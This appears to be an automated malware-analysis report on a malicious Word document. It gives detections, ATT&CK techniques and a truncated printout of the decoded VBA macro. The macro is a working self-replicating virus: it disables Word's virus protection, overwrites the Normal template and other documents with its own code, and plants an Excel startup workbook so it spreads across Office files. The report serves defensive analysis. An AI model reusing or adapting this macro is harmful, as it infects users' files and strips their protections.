MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1127.001 Code Signing
The sample is a malicious OLE document containing VBA macros. The macros utilize CreateObject and GetObject functions, indicative of attempts to execute code or download further payloads. The ClamAV detection 'Doc.Trojan.Codemas-1' and the detection on an extracted artifact 'Win.Trojan.C-286' confirm malicious intent. The VBA script attempts to interact with Excel, likely to download and execute a second-stage payload.
Heuristics 4
-
ClamAV: Doc.Trojan.Codemas-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Codemas-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 16015 bytes |
SHA-256: f42527a751b52c1ced0e8b5ad4dfa5539029ac6383d9bceaa808c85cfdfed29c |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Dim InstMast As Boolean
InstMast = False
With Options
.SaveNormalPrompt = False
.VirusProtection = False
End With
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set Code = ThisDocument.VBProject.VBComponents.Item(1)
CodeMast = Code.CodeModule.Lines(1, Code.CodeModule.CountOfLines)
If NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines) <> CodeMast Then
If NT.CodeModule.CountOfLines > 0 Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
End If
Set fVict = NormalTemplate
SaveNorm = NormalTemplate.Saved
InstMast = True
ElseIf AD.CodeModule.Lines(1, CodeMast.CodeModule.CountOfLines) <> CodeMast Then
If AD.CodeModule.CountOfLines > 0 Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
End If
Set fVict = ActiveDocument
SaveDoc = ActiveDocument.Saved
InstMast = True
End If
For i = 1 To fVict.VBProject.VBComponents.Count
If (fVict.VBProject.VBComponents(i).Type <> 100) Then
Application.OrganizerDelete fVict.FullName, fVict.VBProject.VBComponents(i).Name, wdOrganizerObjectProjectItems
End If
Next i
DisVirProt
Set xl = CreateObject("Excel.Application")
If UCase(Dir(xl.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
Set Mastxl = xl.Workbooks.Add
Mastxl.VBProject.VBComponents("ThisWorkbook").CodeModule.AddFromString CodeMast
Mastxl.SaveAs FileName:=xl.Application.StartupPath + "\Book1."
End If
xl.Quit
Set Vict = fVict.VBProject.VBComponents.Item(1)
If InstMast = True Then
Vict.CodeModule.AddFromString CodeMast
If SaveNorm = True Then NormalTemplate.Save
If SaveDoc = True Then ActiveDocument.Save
End If
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Set Vict = ActiveWorkbook.VBProject.VBComponents.Item(1).CodeModule
Set Code = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule
CodeMast = Code.Lines(1, Code.CountOfLines)
If UCase(Dir(Application.StartupPath & "\Book1.")) <> "BOOK1" Then
Set xlApp = CreateObject("Excel.Application")
Set BookMast = xlApp.Workbooks.Add
BookMast.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, CodeMast.Lines(1, CodeMast.CountOfLines)
BookMast.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
xlApp.Quit
End If
For i = 1 To ActiveWorkbook.VBProject.VBComponents.Count
If ActiveWorkbook.VBProject.VBComponents(i).CodeModule.Find("'Code", 1, 1, 1000, 1000) = False Then
ActiveWorkbook.VBProject.VBComponents(i).CodeModule.DeleteLines 1, ActiveWorkbook.VBProject.VBComponents(i).CodeModule.CountOfLines
Addi = ActiveWorkbook.VBProject.VBComponents(i).Name
If ActiveWorkbook.VBProject.VBComponents(i).Type = 100 Then
If UCase(Mid((ActiveWorkbook.VBProject.VBComponents(i).Name), 1, 5)) <> "SHEET" Then
ActiveWorkbook.VBProject.VBComponents(i).CodeModule.InsertLines 1, CodeMast
If Mid((ActiveWorkbook.Name), 1, 4) <> "Book" Then
If ActiveWorkbook.Saved = False Then ActiveWorkbook.Save
End If
End If
End If
End If
Next i
Set wd = GetObject(, "Word.Application")
If wd = " " Then
Set wd = CreateObject("Word.Application")
wdq = True
End If
For i = 1 To wd.NormalTemplate.VBProject.VBComponents.Count
Set wdNT = wd.NormalTemplate.VBProject.VBComponents(i)
If wdNT.Type <> 100 Then
wd.Application.OrganizerDelete wd.NormalTemplate.FullName, wd.NormalTemplate.VBProject.VBComponents(i).Name, wd.wdOrganizerObjectProjectItems
ElseIf wdNT.Type = 100 And wdNT.CodeModule.Lines(1, wdNT.CodeModule.CountOfLines) <>
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.